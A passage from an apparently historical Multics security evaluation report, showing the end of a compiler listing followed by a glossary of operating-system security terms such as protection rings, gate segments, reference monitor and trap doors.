<tr>
<td>addr</td>
<td>builtin function</td>
<td>internal ref 37 37 37 44 46 46 59 69</td>
</tr>
<tr>
<td>null</td>
<td>builtin function</td>
<td>internal ref 44 46 46</td>
</tr>
</tbody>
</table>

STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Data</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>350</td>
<td>462</td>
<td>250</td>
</tr>
<tr>
<td>Length</td>
<td>632</td>
<td>260</td>
<td>112</td>
<td>136</td>
<td>67</td>
</tr>
</tbody>
</table>

External procedure get uses 148 words of automatic storage.
THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM:
call_ext_out_desc  call_ext_out  return  ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM:
com_err_  cu_barf_ptr  expand_path_  hcs_boot_dates
hcs_status_long

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>600012</td>
<td>30</td>
<td>600028</td>
<td>51</td>
<td>600037</td>
<td>33</td>
<td>600041</td>
<td>35</td>
<td>600056</td>
<td>37</td>
<td>600061</td>
</tr>
<tr>
<td>40</td>
<td>600086</td>
<td>42</td>
<td>600141</td>
<td>44</td>
<td>600142</td>
<td>43</td>
<td>600146</td>
<td>41</td>
<td>600192</td>
<td>40</td>
<td>600210</td>
</tr>
<tr>
<td>50</td>
<td>600213</td>
<td>51</td>
<td>600215</td>
<td>52</td>
<td>600217</td>
<td>54</td>
<td>600228</td>
<td>59</td>
<td>600286</td>
<td>60</td>
<td>600295</td>
</tr>
</tbody>
</table>
GLOSSARY

Access

"The ability and the means to approach, communicate with (input to or receive output from), or otherwise make use of any material or component in an ADP System." <DOD73>

Access Control List (ACL)

"An access control list (ACL) describes the access attributes associated with a particular segment. The ACL is a list of user identifications and respective access attributes. It is kept in the directory that catalogs the segment." <HIS73>

Active Segment Table (AST)

The AST contains an entry for every active segment in the system. A segment is "active" if its page table is in core. The AST is managed with least recently used algorithm.

Argument Validation

On calls to inner-ring (more privileged) procedures, argument validation is performed to ensure that the caller indeed had access to the arguments that have been passed to ensure that the called, more privileged procedure does not unwittingly access the arguments improperly.

Arrest

"The discovery of user activity not necessary to the normal processing of data which might lead to a violation of system security and force termination of the activity." <DOD73>
Breach

"The successful and repeatable defeat of security controls with or without an arrest, which if carried to consummation, could result in a penetration of the system. Examples of breaches are:

a. Operation of user code in master mode;

b. Unauthorized acquisition of I.D. password or file access passwords; and

c. Accession to a file without using prescribed operating system mechanisms." (DOC73)

Call Limiter

The call limiter is a hardware feature of the ULS 6180 which restricts calls to a gate segment to a specified block of instructions (normally a transfer vector) at the base of the segment.

Date Time Last Modified (DTM)

The date time last modified of each segment is stored in its parent directory.

Date Time Last Used (DTU)

The date time last used of each segment is stored in its parent directory.

Deactivation

Deactivation is the process of removing a segments page table from core.

Descriptor Base Register (DBR)

The descriptor base register points to the page table of the descriptor segment of the process currently executing on the CPU.

Descriptor Segment (DSG)

The descriptor segment is a table of segment descriptor words which identifies to the CPU to which

Reproduced from best available copy.
segments, the process currently has access.

Directory

"A directory is a segment that contains information about other segments such as access attributes, number of records, names, and bit count." <LS373>

eemergency_shutdown

"This mastermode module provides a system reentry point which can be used after a system crash to attempt to bring the system to a graceful stopping point." <PS73>

Fault Intercept Module (fim)

The fim is a ring 0 module which is called to handle most faults. It copies the saved machine state into an easily accessible location and calls the appropriate fault handler (usually the signaller).

Gate Segment

A gate segment contains one or more entry point used on inward calls. A gate entry point is the only entry in an inner ring that may be called from an outer ring. Argument validation must be performed for all calls into gate segments.

General Comprehensive Operating Supervisor (GCOS)

GCOS is the operating system for the Honeywell 600/6000 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

HIS 645

The Honeywell 645 is the computer originally designed to run Multics. It is a modification of the HIS 635 adding paging and segmentation hardware.
HIS 6180

The Honeywell 6180 is a follow-on design to the HIS 645. The HIS 6180 uses the advanced circuit technology of the HIS 6080 and adds paging and segmentation hardware. The primary difference between the HIS 6180 and the HIS 645 (aside from performance improvements) is the addition of protection ring hardware.

hcs_

The gate segment hcs_ provides entry into ring 0 for most user programs for such functions as creating and deleting segments, modifying ACL's, etc.

hphcs_

The gate segment hphcs_ provides entry into ring 0 for such functions as shutting the system down, hardware reconfiguration, etc. Its access is restricted to system administration personnel.

ITS Pointer

An ITS (Indirect To Segment) Pointer is a 72-bit pointer containing a segment number, word number, bit offset, and indirect modifier. A Multics PL/I aligned pointer variable is stored as an ITS pointer.

Known Segment Table (KST)

The KST is a per-process table which associates segment numbers with segment names. Details of its organization and use may be found in Organick. <OR672>

Linkage Segment

"The linkage segment contains certain vital symbolic data, descriptive information, pointers, and instructions that are needed for the linking of procedures in each process." <OR672>

Reproduced from best available copy.
Master Mode

When the HIS 645 processor is in master mode (as opposed to slave mode), any processor instruction may be executed and access control checking is inhibited.

Multics

Multics, the Multiplexed Information and Computing Service, is the operating system for the HIS 645 and HIS 6180 computers.

Multi-Level Security Mode

"A mode of operation under an operating system (supervisor or executive program) which provides a capability permitting various levels and categories or compartments of material to be concurrently stored and processed in an AUP system. In a remotely accessed resource-sharing system, the material can be selectively accessed and manipulated from variously controlled terminals by personnel having different security clearances and access approvals. This mode of operation can accommodate the concurrent processing and storage of (a) two or more levels of classified data, or (b) one or more levels of classified data with unclassified data depending upon the constraints placed on the systems by the Designated Approving Authority." <DOD73>

OS/360

OS/360 is the operating system for the IBM 360 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

Page

Segments may be broken up into 1024 word blocks called pages which may be stored in non-continuous locations of memory.
Penetration

"The successful and repeatable extraction and identification of recognizable information from a protected data file or data set without any attendant arrests." <DOD73>

Process

"A process is a locus of control within an instruction sequence. That is, a process is that abstract entity which moves through the instructions of a procedure as the procedure is executed by a processor." <DEN66>

Process Data Segment (PDS)

The PDS is a per-process segment which contains various information about the process including the user identification and the ring 0 stack. The PDS is accessible only in ring 0 or in master mode.

Process Initialization Table (PIT)

The PIT is a per-process segment which contains additional information about the process. The PIT is readable in ring 4 and writable only in ring 0.

Protection Rings

Protection rings form an extension to the traditional master/slave mode relationship in which there are eight hierarchical levels of protection numbered 0 - 7. A given ring \( i \) may access rings \( i \) through 7 but may only call specific gate segments in rings 0 to \( i-1 \).

Reference Monitor

The reference monitor is that hardware/software combination which must monitor all references by any program to any data anywhere in the system to ensure the security rules are followed.

a. The monitor must be tamper proof.
b. The monitor must be invoked for every
reference to data anywhere in the system.
c. The monitor must be small enough to be
proven correct.

Segment

A segment is the logical atomic unit of information
in Multics. Segments have names and unique
protection attributes and may contain up to 256K
words. Segments are directly implemented by the HIS
645 and HIS 6180 hardware.

Segment Descriptor Word (SDW)

An sdw is a single entry in a Descriptor Segment.
The SDW contains the absolute address of the page
table of a segment (if one exists) or an indication
that the page table does not exist. The SDW also
contains the access control information for the
segment.

Segment Loading Table (SLT)

The SLT contains a list of segments to be used at the
time the system is brought up. All segments in the
SLT come from the system tape.

signaller

"signaller is the hardcore ring privileged procedure
responsible for signalling all fault and
interrupt-produced errors." <SPS73>

Slave Mode

When the HIS 645 processor is in slave mode, certain
processor instructions are inhibited and access
control checking is enforced. The processor may
enter master mode from slave mode only by signalling
a fault of some kind.
Stack Base Register

The stack base register contains the segment number of the stack currently in use. In the original design of Multics, the stack base was locked so that interrupt handlers were guaranteed that it always pointed to a writable segment. This restriction was later removed allowing the user to change the stack base arbitrarily.

subverter

The subverter is a procedure designed to test the reliability of security hardware by periodically attempting illegal accesses.

Trap door

Trap doors are unnoticed pieces of code which may be inserted into a system by a penetrator. The trap door would remain dormant within the software until triggered by the agent. Trap doors inserted into the code implementing the reference monitor could bypass any and all security restrictions on the systems. Trap doors can potentially be inserted at any time during software development and use.

WWMCCS

WWMCCS, the World Wide Military Command and Control System, is designed to provide unified command and control functions for the Joint Chiefs of Staff. As part of the WWMCCS contract for procurement of a large number of HIS 6000 computers, a set of software modifications were made to GCOS, primarily in the area of security. The WWMCCS GCOS security system was found to be no more effective than the unmodified GCOS security, due to the inherent weaknesses of GCOS itself.